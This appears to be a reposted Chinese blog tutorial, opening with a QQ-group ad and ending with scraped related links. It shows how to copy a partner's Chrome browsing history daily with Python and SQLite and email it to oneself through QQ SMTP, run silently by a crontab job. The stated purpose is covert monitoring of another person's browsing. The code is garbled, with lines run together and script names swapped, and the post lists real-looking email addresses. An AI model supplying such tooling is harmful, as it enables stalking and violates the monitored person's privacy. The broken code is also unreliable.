前言

本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:1097524789

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

macOS Sierra

Python3.6

Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):name, addr = parseaddr(s)return formataddr((Header(name, 'utf-8').encode(), addr))#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:# 设置附件的MIME和文件名,这里是py类型:mime = MIMEBase('result', 'txt', filename='result.txt')# 加上必要的头信息:mime.add_header('Content-Disposition', 'attachment', filename='result.txt')mime.add_header('Content-ID', '<0>')mime.add_header('X-Attachment-Id', '0')# 把附件的内容读进来:mime.set_payload(f.read())# 用Base64编码:encoders.encode_base64(mime)# 添加到MIMEMultipart:msg.attach(mime)#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()# 2.选取我们想要的网址和访问时间
try:select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"cursor.execute(select_statement)
except sqlite3.OperationalError:print("[!] The database is locked! Please exit Chrome and run the script again.")quit()# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径for i in range(len(results)):f.write(results[i][1]+'\n')f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录相关推荐

  1. 实时监控网站内容更新,微信来提醒

    木头软件站的网站资讯监控工具,功能强大,可以对各种网站的内容进行监控,比如对网站内容更新的监控,然后微信提醒.监控网站超链接,当出现更新或满足关键字条件时,立即报警提醒并记录.帮助你从海量的网络资讯中 ...

  2. C++基于OpenCV实现实时监控和运动检测记录

    基于OpenCV实现实时监控并通过运动检测记录视频 一.课程介绍 1. 课程来源 课程使用的操作系统为 Ubuntu 14.04,OpenCV 版本为OpenCV 2.4.13.1,你可以在这里查看该 ...

  3. Netdata---Linux系统性能实时监控平台部署记录

    通常来说,作为一个Linux的SA,很有必要掌握一个专门的系统监控工具,以便能随时了解系统资源的占用情况.下面就介绍下一款Linux性能实时监测工具-Netdata,它是Linux系统实时性能监测工具 ...

  4. 如何使用WGCLOUD实时监控网站状态并告警

    我们的网站在运行中,偶尔会有一些问题出现,比如不能访问,机房停电了,被CC了等,都会导致我们的网站在短时间内停止提供服务. 我们迫切需要一款能实时监测网站状态,发现不能访问时给我们发送通知(邮件短信微 ...

  5. netdata mysql_Netdata---Linux系统性能实时监控平台部署记录

    通常来说,作为一个Linux的SA,很有必要掌握一个专门的系统监控工具,以便能随时了解系统资源的占用情况.下面就介绍下一款Linux性能实时监测工具-Netdata,它是Linux系统实时性能监测工具 ...

  6. Python美股量化交易填坑记录——13c.Vegas隧道交易机器人(实盘记录)

    1.背景 上一篇帖子介绍了思路调整的过程,我的目标从"消灭止损单"(越来越保守)改为"追大肉"(允许有止损单,盈利超过损失就行). Python美股量化交易填坑 ...

  7. py 网站实时监控+可手动回溯回放网站数据的实现

    这里以xxx壁纸网站为例,实现可回溯数据与实时监控,其实要实现实时监控并不难,但是要实现数据回溯所涉及的细节就特别的多了 先说实时监控,先获取主网页的信息,对当前主网页的信息进行提取,从而获取时间信息 ...

  8. 360浏览器查看服务器响应内容,360浏览器怎么看3个月以前的浏览记录?

    360浏览器怎么看3个月以前的浏览记录? 有时候我们想查找浏览器的浏览记录,这个比较简单,Ctrl+h直接查看,或者如图直接查看.然而有些记录在3个月之前就坑爹了,浏览器是看不到的怎么办呢? 比如几天 ...

  9. 程序猿值得看的几个技术网站(记录)

    最近发现一批很优秀的网站,他们有的属于个人有的属于组织, 但是他们网站中所记录的内容,可以供很多软件开发的人员学习,不同于国内一线的一些网站,这些网站所记录中的内容,精致,简洁! 简单记录并推荐一些该 ...

最新文章

  1. 麦肯锡顾问的核心意识:成果决定价值
  2. 一步步打造漂亮的新闻列表(无刷新分页、内容预览)(4)
  3. 一、MySql优化的基础介绍
  4. JavaScript 运行机制详解:Event Loop——续
  5. Mybatis注解实现一对多关联映射(@Many)
  6. mountain_OS X Mountain Lion上的多个Java版本
  7. MongoDB 教程七: MongoDB和PHP结合开发
  8. 计算机中加密文件找不见,文件夹保护3000找不到文件夹加密记录怎么办?
  9. 干货|详解最新语音识别框架 深度全序列卷积神经网络
  10. elasticsearch 实体类日期类型_SpringBoot2.x系列教程55--SpringBoot整合ElasticSearch方式二...
  11. 集成光子芯片Micro-comb原理
  12. 何小鹏快跑:身家暴涨50亿美元,他还愿坐经济舱吗?
  13. gif表情制作软件怎么制作gif动图
  14. git基本命令及使用
  15. 正在使用计算机突然停电怎么办,电脑突然断电怎么办?电脑突然断电开不了机解决教程...
  16. 计算机毕业设计 SSM汽车维修保养平台 汽车维修维护平台 汽车信息管理系统Java Vue MySQL数据库 远程调试 代码讲解
  17. nginx 实现根据访问端跳转指定页面
  18. 南大计算机系统实验PA0 Compiling and Running NEMU报错解决方法
  19. C. Oranges and Apples
  20. 游戏陪玩APP开发的功能和特点

热门文章

  1. 二级测试-简单注册tmp1904
  2. django-模板文件加载顺序
  3. python-函数的注释
  4. 2.7.3-YARN-获取debug命令:resourceManager+nodeManager
  5. 使用框架注意事项:vue-react
  6. koa-router 源码浅析
  7. MVC模式 与 Model2模型 介绍
  8. 【数据结构】平衡二叉树
  9. 临时抱佛脚 国产手机经典匮乏原因大解析
  10. 浅谈移动互联网广告设计评论